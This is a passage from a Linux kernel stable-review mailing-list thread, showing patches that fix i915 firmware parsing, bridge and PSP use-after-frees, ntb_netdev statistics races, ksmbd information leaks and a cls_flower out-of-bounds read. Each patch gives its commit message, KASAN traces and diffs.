+ while (!list_empty(&vm->individual.evicted)) {
+ bo_va = list_first_entry(&vm->individual.evicted,
struct amdgpu_bo_va,
base.vm_status);
+ bo = bo_va->base.bo;
+ tmp = amdgpu_bo_ref(bo);
spin_unlock(&vm->individual_lock);
- bo = bo_va->base.bo;
ret = drm_exec_prepare_obj(exec, &bo->tbo.base,
TTM_NUM_MOVE_FENCES + 1);
+ amdgpu_bo_unref(&tmp);
if (unlikely(ret))
return ret;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 212/242] drm/i915/dmc: Harden DMC firmware payload parsing
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (208 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 211/242] drm/amdgpu/userq: actually validate userq BOs Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 213/242] net: bridge: mcast: dont truncate the port group walk on teardown Greg Kroah-Hartman
` (31 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dibin Moolakadan Subrahmanian,
Mitul Golani, Ankit Nautiyal, Joonas Lahtinen, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
[ Upstream commit 8bb1858db453cd4250e3b633f5d2d09206024ca6 ]
Validate the conversion of the DMC firmware size from dwords to bytes
using check_mul_overflow() before calculating the firmware payload size.
Reject zero-length payloads and zero MMIO counts in the DMC firmware
header so malformed firmware is caught early. Also set dmc_fw_size only
after the payload allocation succeeds.
Fixes: eb805623d8b1 ("drm/i915/skl: Add support to load SKL CSR firmware.")
Cc: stable@vger.kernel.org
Assisted-by: Claude-Code:Sonnet-5
Signed-off-by: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
Reviewed-by: Mitul Golani<mitulkumar.ajitkumar.golani@intel.com>
Signed-off-by: Ankit Nautiyal <ankit.k.nautiyal@intel.com>
Link: https://patch.msgid.link/20260922133535.3180973-5-dibin.moolakadan.subrahmanian@intel.com
(cherry picked from commit efde6601a1f1daedfe3dcc2816c934ddb44e3eef)
Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/i915/display/intel_dmc.c | 21 ++++++++++++++++-----
1 file changed, 16 insertions(+), 5 deletions(-)
--- a/drivers/gpu/drm/i915/display/intel_dmc.c
+++ b/drivers/gpu/drm/i915/display/intel_dmc.c
@@ -1165,7 +1165,7 @@ static u32 parse_dmc_fw_header(struct in
}
/* Cache the dmc header info. */
- if (mmio_count > mmio_count_max) {
+ if (!mmio_count || mmio_count > mmio_count_max) {
drm_err(display->drm, "DMC firmware has wrong mmio count %u\n", mmio_count);
return 0;
}
@@ -1211,13 +1211,21 @@ static u32 parse_dmc_fw_header(struct in
disable_dmc_evt(display, dmc_id, dmc_info->mmioaddr[i],
dmc_info->mmiodata[i]) ? " (disabling)" : "");
}
- dmc_info->mmio_count = mmio_count;
- dmc_info->start_mmioaddr = start_mmioaddr;
rem_size -= header_len_bytes;
/* fw_size is in dwords, so multiplied by 4 to convert into bytes. */
- payload_size = dmc_header->fw_size * 4;
+ if (check_mul_overflow(dmc_header->fw_size, 4u, &payload_size)) {
+ drm_err(display->drm, "DMC fw_size too large (%u dwords)\n",
+ dmc_header->fw_size);
+ return 0;
+ }
+
+ if (!payload_size) {
+ drm_err(display->drm, "DMC firmware has empty payload\n");
+ return 0;
+ }
+
if (rem_size < payload_size)
goto error_truncated;
@@ -1225,7 +1233,6 @@ static u32 parse_dmc_fw_header(struct in
drm_err(display->drm, "DMC FW too big (%u bytes)\n", payload_size);
return 0;
}
- dmc_info->dmc_fw_size = dmc_header->fw_size;
if (!dmc_load_addr_sanity_check(dmc, start_mmioaddr, payload_size,
dmc_header->header_ver, dmc_id)) {
@@ -1237,6 +1244,10 @@ static u32 parse_dmc_fw_header(struct in
if (!dmc_info->payload)
return 0;
+ dmc_info->mmio_count = mmio_count;
+ dmc_info->start_mmioaddr = start_mmioaddr;
+ dmc_info->dmc_fw_size = dmc_header->fw_size;
+
payload = (u8 *)(dmc_header) + header_len_bytes;
memcpy(dmc_info->payload, payload, payload_size);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 213/242] net: bridge: mcast: dont truncate the port group walk on teardown
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (209 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 212/242] drm/i915/dmc: Harden DMC firmware payload parsing Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 214/242] net: ntb_netdev: Fix statistics races Greg Kroah-Hartman
` (30 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Nikolay Aleksandrov,
TencentOS Corvus AI, Jun Yang, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jun Yang <littleddfu@gmail.com>
commit 5a3f7a683aee56e1f15c9d53041f3236767eaae7 upstream.
__br_multicast_disable_port_ctx() and br_multicast_del_port() walk
port->mglist with hlist_for_each_entry_safe(). However,
br_multicast_find_del_pg() can also delete other entries from the same
list through br_multicast_fwd_src_remove() or __fwd_del_star_excl().
If such an entry is the iterator's saved next node, hlist_del_init()
clears its ->next and terminates the walk early. The reproducer triggers
this in both teardown walks, leaving port groups in the bridge mdb with
a dangling ->key.port after del_nbp() frees the port:
BUG: KASAN: slab-use-after-free in __mdb_fill_info+0x1191/0x1320
__mdb_fill_info+0x1191/0x1320
br_mdb_dump+0x594/0xe40
rtnl_mdb_dump+0x1cf/0x5d0
Use hlist_del_init_rcu() to unlink the group while preserving ->next.
br_multicast_del_pg() and the teardown walks run under
br->multicast_lock. The GC worker must acquire the same lock before
detaching the group for destruction, so the node remains alive while
the walk uses the preserved pointer.
Preserving ->next means a walk can now reach a group that an earlier
iteration already deleted as a side effect. That group is off mp->ports,
so br_multicast_find_del_pg() would fall through its port scan and hit
the trailing WARN_ON(1). Skip such groups at the top of that helper: a
port group is put on port->mglist when it is created and only unlinked
when it is deleted, so hlist_unhashed() identifies exactly this case.
Fixes: b08123684bd5 ("net: bridge: mcast: install S,G entries automatically based on reports")
Cc: stable@vger.kernel.org
Suggested-by: Nikolay Aleksandrov <razor@blackwall.org>
Reported-by: TencentOS Corvus AI <corvus@tencent.com>
Signed-off-by: Jun Yang <junvyyang@tencent.com>
Reviewed-by: Nikolay Aleksandrov <razor@blackwall.org>
Link: https://patch.msgid.link/20260831111330.199543-1-junvyyang@tencent.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/bridge/br_multicast.c | 13 ++++++++++++-
1 file changed, 12 insertions(+), 1 deletion(-)
--- a/net/bridge/br_multicast.c
+++ b/net/bridge/br_multicast.c
@@ -813,7 +813,11 @@ static void __br_multicast_del_pg(struct
struct hlist_node *tmp;
rcu_assign_pointer(*pp, pg->next);
- hlist_del_init(&pg->mglist);
+ /* Keep ->next (held under multicast_lock, freed later by the GC work):
+ * a port->mglist teardown walk may have latched this node as its next,
+ * and deleting other groups of the same port must not truncate it.
+ */
+ hlist_del_init_rcu(&pg->mglist);
br_multicast_eht_clean_sets(pg);
hlist_for_each_entry_safe(ent, tmp, &pg->src_list, node)
br_multicast_del_group_src(ent, false);
@@ -848,6 +852,13 @@ static void br_multicast_find_del_pg(str
struct net_bridge_mdb_entry *mp;
struct net_bridge_port_group *p;
+ /* A teardown walk over port->mglist can reach a group that an earlier
+ * iteration already deleted as a side effect. It is off mp->ports by
+ * now, so skip it instead of falling through to the WARN_ON() below.
+ */
+ if (hlist_unhashed(&pg->mglist))
+ return;
+
mp = br_mdb_ip_get(br, &pg->key.addr);
if (WARN_ON(!mp))
return;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 214/242] net: ntb_netdev: Fix statistics races
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (210 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 213/242] net: bridge: mcast: dont truncate the port group walk on teardown Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 215/242] net: psp: do not inherit the Rx association on clone Greg Kroah-Hartman
` (29 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jakub Kicinski, Koichiro Den,
Eric Dumazet
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Koichiro Den <den@valinux.co.jp>
commit 545b63503c696c4ce0663b3fcd37f41169aec1eb upstream.
ntb_netdev updates shared net_device stats from per-QP RX and TX
callbacks. Once multiple queues are enabled, concurrent updates can be
lost.
Use per-CPU tstats for packet and byte counters and DEV_STATS_INC() for
less frequent drop and error counters. Callbacks can run synchronously
in the xmit path or asynchronously from a tasklet or the memcpy kthread.
Pin TX updates against migration in the kthread path. Use the IRQ-safe
u64_stats helpers because netpoll can invoke the synchronous path with
IRQs disabled.
Let the core manage tstats while keeping transport teardown after
unregister_netdev(), outside RTNL. RCU lets unregister wait for TX
completions already updating stats, while later completions only consume
the skb and skip accounting and queue wake.
Fixes: 24d9e73c7e00 ("net: ntb_netdev: Support ethtool channels for multi-queue")
Cc: stable@vger.kernel.org
Suggested-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Koichiro Den <den@valinux.co.jp>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Link: https://patch.msgid.link/20260830151617.3546585-1-den@valinux.co.jp
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/ntb_netdev.c | 47 ++++++++++++++++++++++++++++++++++-------------
1 file changed, 34 insertions(+), 13 deletions(-)
--- a/drivers/net/ntb_netdev.c
+++ b/drivers/net/ntb_netdev.c
@@ -127,8 +127,10 @@ static void ntb_netdev_rx_handler(struct
{
struct ntb_netdev_queue *q = qp_data;
struct ntb_netdev *dev = q->ntdev;
+ struct pcpu_sw_netstats *tstats;
struct sk_buff *skb, *new_skb;
struct net_device *ndev;
+ unsigned long flags;
int rc;
ndev = dev->ndev;
@@ -139,17 +141,20 @@ static void ntb_netdev_rx_handler(struct
netdev_dbg(ndev, "%s: %d byte payload received\n", __func__, len);
if (len < 0) {
- ndev->stats.rx_errors++;
- ndev->stats.rx_length_errors++;
+ DEV_STATS_INC(ndev, rx_errors);
+ DEV_STATS_INC(ndev, rx_length_errors);
goto enqueue_again;
}
- ndev->stats.rx_packets++;
- ndev->stats.rx_bytes += len;
+ tstats = this_cpu_ptr(ndev->tstats);
+ flags = u64_stats_update_begin_irqsave(&tstats->syncp);
+ u64_stats_inc(&tstats->rx_packets);
+ u64_stats_add(&tstats->rx_bytes, len);
+ u64_stats_update_end_irqrestore(&tstats->syncp, flags);
new_skb = netdev_alloc_skb(ndev, ndev->mtu + ETH_HLEN);
if (!new_skb) {
- ndev->stats.rx_dropped++;
+ DEV_STATS_INC(ndev, rx_dropped);
goto enqueue_again;
}
@@ -166,8 +171,8 @@ enqueue_again:
rc = ntb_transport_rx_enqueue(qp, skb, skb->data, ndev->mtu + ETH_HLEN);
if (rc) {
dev_kfree_skb_any(skb);
- ndev->stats.rx_errors++;
- ndev->stats.rx_fifo_errors++;
+ DEV_STATS_INC(ndev, rx_errors);
+ DEV_STATS_INC(ndev, rx_fifo_errors);
}
}
@@ -210,25 +215,39 @@ static void ntb_netdev_tx_handler(struct
{
struct ntb_netdev_queue *q = qp_data;
struct ntb_netdev *dev = q->ntdev;
+ struct pcpu_sw_netstats *tstats;
struct net_device *ndev;
struct sk_buff *skb;
+ unsigned long flags;
+ bool registered;
ndev = dev->ndev;
skb = data;
if (!skb || !ndev)
return;
+ rcu_read_lock();
+ registered = READ_ONCE(ndev->reg_state) == NETREG_REGISTERED;
+ if (!registered)
+ goto free_skb;
+
if (len > 0) {
- ndev->stats.tx_packets++;
- ndev->stats.tx_bytes += skb->len;
+ /* The memcpy kthread can migrate, so pin the per-CPU update. */
+ tstats = get_cpu_ptr(ndev->tstats);
+ flags = u64_stats_update_begin_irqsave(&tstats->syncp);
+ u64_stats_inc(&tstats->tx_packets);
+ u64_stats_add(&tstats->tx_bytes, skb->len);
+ u64_stats_update_end_irqrestore(&tstats->syncp, flags);
+ put_cpu_ptr(ndev->tstats);
} else {
- ndev->stats.tx_errors++;
- ndev->stats.tx_aborted_errors++;
+ DEV_STATS_INC(ndev, tx_errors);
+ DEV_STATS_INC(ndev, tx_aborted_errors);
}
+free_skb:
dev_kfree_skb_any(skb);
- if (ntb_transport_tx_free_entry(qp) >= tx_start) {
+ if (registered && ntb_transport_tx_free_entry(qp) >= tx_start) {
/* Make sure anybody stopping the queue after this sees the new
* value of ntb_transport_tx_free_entry()
*/
@@ -237,6 +256,7 @@ static void ntb_netdev_tx_handler(struct
ntb_transport_link_query(q->qp))
netif_wake_subqueue(ndev, q->qid);
}
+ rcu_read_unlock();
}
static const struct ntb_queue_handlers ntb_netdev_handlers = {
@@ -277,7 +297,7 @@ static netdev_tx_t ntb_netdev_start_xmit
drop:
dev_kfree_skb_any(skb);
- ndev->stats.tx_dropped++;
+ DEV_STATS_INC(ndev, tx_dropped);
return NETDEV_TX_OK;
}
@@ -647,6 +667,7 @@ static int ntb_netdev_probe(struct devic
}
ndev->features = NETIF_F_HIGHDMA;
+ ndev->pcpu_stat_type = NETDEV_PCPU_STAT_TSTATS;
ndev->priv_flags |= IFF_LIVE_ADDR_CHANGE;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 215/242] net: psp: do not inherit the Rx association on clone
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (211 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 214/242] net: ntb_netdev: Fix statistics races Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 216/242] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION Greg Kroah-Hartman
` (28 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Norbert Szetei, Daniel Zahka,
Paolo Abeni
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Norbert Szetei <norbert@doyensec.com>
commit 1d2929d0850fff683b8aff051275945e65f082c8 upstream.
sk->psp_assoc sits past sk_dontcopy_end, so sock_copy() copies it into
every socket accepted from a listener without taking a reference, while
inet_sock_destruct() puts for every inet socket. psp_twsk_init() does
refcount_inc() for the timewait socket, so a child closing through
TIME_WAIT cancels its own put and leaves the association with one
reference and N timewait sockets holding the same pointer. Closing the
listener frees it, and the timewait timers then put freed memory.
Rejecting the association on a listening socket is not sufficient: a socket
can acquire one while established and then be turned back into a listener,
because tcp_disconnect() leaves sk->psp_assoc in place.
BUG: KASAN: slab-use-after-free in psp_twsk_assoc_free+0x6f/0xf0
Write of size 4 at addr ffff888110f9255c by task swapper/7/0
psp_twsk_assoc_free+0x6f/0xf0
inet_twsk_put+0xda/0x1b0
call_timer_fn+0x53/0x2e0
__run_timers+0x764/0xa80
Freed by task 99:
kfree+0x1a7/0x500
process_one_work+0x7ec/0x1100
An association carries a per-connection SPI and key, so a child must not
inherit the parent's. Clear it on clone.
Fixes: 6b46ca260e22 ("net: psp: add socket security association code")
Cc: stable@vger.kernel.org
Assisted-by: Claude:claude-opus-5
Signed-off-by: Norbert Szetei <norbert@doyensec.com>
Reviewed-by: Daniel Zahka <daniel.zahka@gmail.com>
Link: https://patch.msgid.link/BC10EB92-ABB3-41B2-AB16-266BEEBE18C0@doyensec.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/core/sock.c | 3 +++
1 file changed, 3 insertions(+)
--- a/net/core/sock.c
+++ b/net/core/sock.c
@@ -2495,6 +2495,9 @@ struct sock *sk_clone(const struct sock
#ifdef CONFIG_BPF_SYSCALL
RCU_INIT_POINTER(newsk->sk_bpf_storage, NULL);
#endif
+#if IS_ENABLED(CONFIG_INET_PSP)
+ RCU_INIT_POINTER(newsk->psp_assoc, NULL);
+#endif
/* SANITY */
if (likely(newsk->sk_net_refcnt)) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 216/242] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (212 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 215/242] net: psp: do not inherit the Rx association on clone Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 217/242] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION Greg Kroah-Hartman
` (27 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Aleksandr Khromov, Namjae Jeon
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aleksandr Khromov <haa@amicon.ru>
commit db2267b27c054a6c2151ff7fbb67927e784f31d6 upstream.
smb2_get_info_filesystem() reports 56 bytes for FS_POSIX_INFORMATION,
that is the whole of FILE_SYSTEM_POSIX_INFO, but never assigns
FileSysIdentifier. Those eight bytes go to the client as they are found
in the response buffer.
The buffer is zeroed on allocation, so a standalone request leaks
nothing. A compound request can leak: the offset of the next response
is advanced by the length pinned for the previous one, so a reply that
was written into the buffer and then dropped in favour of the short
error response of smb2_set_err_rsp() stays there, and the next reply is
laid over it with only the header cleared.
Report the file system id statfs() returned, which is what the field is
for. FileSysIdentifier is __le64 and f_fsid is a pair of ints, so
assemble the value first, val[0] as the low half, and convert it on the
way out.
Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
Cc: stable@vger.kernel.org
Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/server/smb2pdu.c | 3 +++
1 file changed, 3 insertions(+)
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -6791,6 +6791,9 @@ static int smb2_get_info_filesystem(stru
info->UserBlocksAvail = cpu_to_le64(stfs.f_bavail);
info->TotalFileNodes = cpu_to_le64(stfs.f_files);
info->FreeFileNodes = cpu_to_le64(stfs.f_ffree);
+ info->FileSysIdentifier =
+ cpu_to_le64((u64)(u32)stfs.f_fsid.val[1] << 32 |
+ (u32)stfs.f_fsid.val[0]);
rsp->OutputBufferLength = cpu_to_le32(56);
fixed_len = 56;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 217/242] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (213 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 216/242] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 218/242] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in Greg Kroah-Hartman
` (26 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Aleksandr Khromov, Namjae Jeon
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aleksandr Khromov <haa@amicon.ru>
commit c0cd3fc6824122014da2b3b0cb7ddeaa2946ec8e upstream.
smb2_get_info_filesystem() reports 48 bytes for FS_CONTROL_INFORMATION,
that is the whole of struct smb2_fs_control_info, but never assigns
FileSystemControlFlags. Those four bytes go to the client as they are
found in the response buffer.
The buffer is zeroed on allocation, so a standalone request leaks
nothing. A compound request can leak: the offset of the next response
is advanced by the length pinned for the previous one, so a reply that
was written into the buffer and then dropped in favour of the short
error response of smb2_set_err_rsp() stays there, and the next reply is
laid over it with only the header cleared.
ksmbd does not implement quota tracking, so report no control flags.
Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
Cc: stable@vger.kernel.org
Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/server/smb2pdu.c | 1 +
1 file changed, 1 insertion(+)
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -6769,6 +6769,7 @@ static int smb2_get_info_filesystem(stru
info->FreeSpaceStopFiltering = 0;
info->DefaultQuotaThreshold = cpu_to_le64(SMB2_NO_FID);
info->DefaultQuotaLimit = cpu_to_le64(SMB2_NO_FID);
+ info->FileSystemControlFlags = 0;
info->Padding = 0;
rsp->OutputBufferLength = cpu_to_le32(48);
fixed_len = 48;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 218/242] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (214 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 217/242] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 219/242] net/sched: cls_flower: validate mask pointer after nla_next() Greg Kroah-Hartman
` (25 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, ChenXiaoSong, Aleksandr Khromov,
Namjae Jeon
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aleksandr Khromov <haa@amicon.ru>
commit 399aa12450a61a5c73dc77e73f069ece9687c95d upstream.
smb2_get_info_filesystem() reports 64 bytes for FS_OBJECT_ID_INFORMATION,
that is the whole of struct object_id_info, but writes only 46 of them:
- objid[] is 16 bytes, and when the volume UUID is not available only
sizeof(stfs.f_fsid) (8) bytes are copied into it;
- extended_info.version_string[] is STRING_LENGTH (28) bytes, and only
strlen("1.1.0") (5) bytes are copied into it.
The response buffer is zeroed on allocation (kvzalloc() in
smb2_allocate_rsp_buf()), so for a standalone request the remaining 31
bytes are zero. In a compound request they need not be. The offset of
the next response is advanced by the length pinned for the previous one,
so if a preceding command wrote its reply into the buffer and then
failed, smb2_set_err_rsp() pins only the short error response and the
next reply lands inside the area that has already been written. Only
the header is cleared there:
memset((char *)rsp_hdr, 0, sizeof(struct smb2_hdr) + 2);
The client then receives up to 31 bytes of a response it was not meant
to see, including one that failed with an access denied error.
Clear the structure before filling it in. As a side effect
version_string is now NUL terminated.
Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
Suggested-by: ChenXiaoSong <chenxiaosong@chenxiaosong.com>
Cc: stable@vger.kernel.org
Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/server/smb2pdu.c | 1 +
1 file changed, 1 insertion(+)
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -6715,6 +6715,7 @@ static int smb2_get_info_filesystem(stru
struct object_id_info *info;
info = (struct object_id_info *)(rsp->Buffer);
+ memset(info, 0, sizeof(*info));
if (path.mnt->mnt_sb->s_uuid_len == 16)
memcpy(info->objid, path.mnt->mnt_sb->s_uuid.b,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 219/242] net/sched: cls_flower: validate mask pointer after nla_next()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (215 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 218/242] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 220/242] smb: client: fix data corruption with concurrent writes and O_TRUNC Greg Kroah-Hartman
` (24 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, TencentOS Corvus AI, Aohan Mei,
Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aohan Mei <henrymei@tencent.com>
commit fee10655709c5c597e8e9f722f3035d9ea31ff3a upstream.
fl_set_enc_opt() iterates the key's nested tunnel-option attributes
with nla_for_each_attr() while advancing a single mask pointer via
nla_next() at the bottom of each loop, so the mask cursor is driven
by the number of key attributes rather than by the mask's own
attributes. The nla_ok() added by commit c96adff956191 ("cls_flower:
call nla_ok() before nla_next()") only validates the mask pointer
that was just consumed; the pointer produced by nla_next() is used by
the next iteration (fl_set_geneve_opt() and siblings) without any
validation.
The mask's nested attributes are validated with NL_VALIDATE_LIBERAL,
which merely warns on trailing bytes that do not form a complete
attribute. A mask carrying one valid attribute plus 1-3 residue
bytes (or a non-aligned attribute length making msk_depth negative)
therefore reaches the next iteration with msk_depth != 0, so neither
the !msk_depth check in fl_set_enc_opt() nor the !depth check in the
per-type helpers fires. nla_type() then reads past the mask payload
and nla_parse_nested_deprecated() iterates with an nla_len taken
from those bytes, reading well beyond the mask attribute (KASAN:
slab-out-of-bounds read in __nla_validate_parse from fl_change()).
Validate the advanced mask pointer as well: when the mask is not
legitimately exhausted (msk_depth != 0) and the new pointer fails
nla_ok(), reject the filter with -EINVAL. An exactly exhausted mask
still skips the check, preserving exact-match behaviour for the
remaining key attributes.
Fixes: c96adff95619 ("cls_flower: call nla_ok() before nla_next()")
Reported-by: TencentOS Corvus AI <corvus@tencent.com>
Cc: stable@vger.kernel.org
Signed-off-by: Aohan Mei <henrymei@tencent.com>
Link: https://patch.msgid.link/20260826025123.62758-1-ljp1205831794@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sched/cls_flower.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/net/sched/cls_flower.c b/net/sched/cls_flower.c
index 0e275b58151c..1cefea571efd 100644
--- a/net/sched/cls_flower.c
+++ b/net/sched/cls_flower.c
@@ -1703,6 +1703,11 @@ static int fl_set_enc_opt(struct nlattr **tb, struct fl_flow_key *key,
return -EINVAL;
}
nla_opt_msk = nla_next(nla_opt_msk, &msk_depth);
+
+ if (msk_depth && !nla_ok(nla_opt_msk, msk_depth)) {
+ NL_SET_ERR_MSG(extack, "A mask attribute is invalid");
+ return -EINVAL;
+ }
}
return 0;
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 220/242] smb: client: fix data corruption with concurrent writes and O_TRUNC
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (216 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 219/242] net/sched: cls_flower: validate mask pointer after nla_next() Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 221/242] smb: client: fix heap overflow in cifs_do_set_acl() Greg Kroah-Hartman
` (23 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Paulo Alcantara, Namjae Jeon,
Ronnie Sahlberg, Shyam Prasad N, Tom Talpey, Bharath SM
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paulo Alcantara <pc@manguebit.org>
commit a8603b52b39f520ea8a34def74c23fba87396d3e upstream.
cifs_do_truncate() flushes dirty pages with filemap_write_and_wait()
and truncates the file on the server, but in the old code both
operations ran without holding i_rwsem or invalidate_lock. A
concurrent buffered write via netfs_perform_write() -- which only
needs i_rwsem shared -- could dirty new pages after the flush but
before the local truncation, and those pages would be silently
discarded by cifs_setsize() -> truncate_pagecache().
Fix by acquiring inode_lock (exclusive i_rwsem) and
filemap_invalidate_lock at the top of cifs_do_truncate(), so the
entire flush-truncate-resize sequence is atomic with respect to:
- buffered writes (blocked by exclusive i_rwsem, since
netfs_start_io_write takes i_rwsem shared),
- read page faults (blocked by exclusive invalidate_lock, since
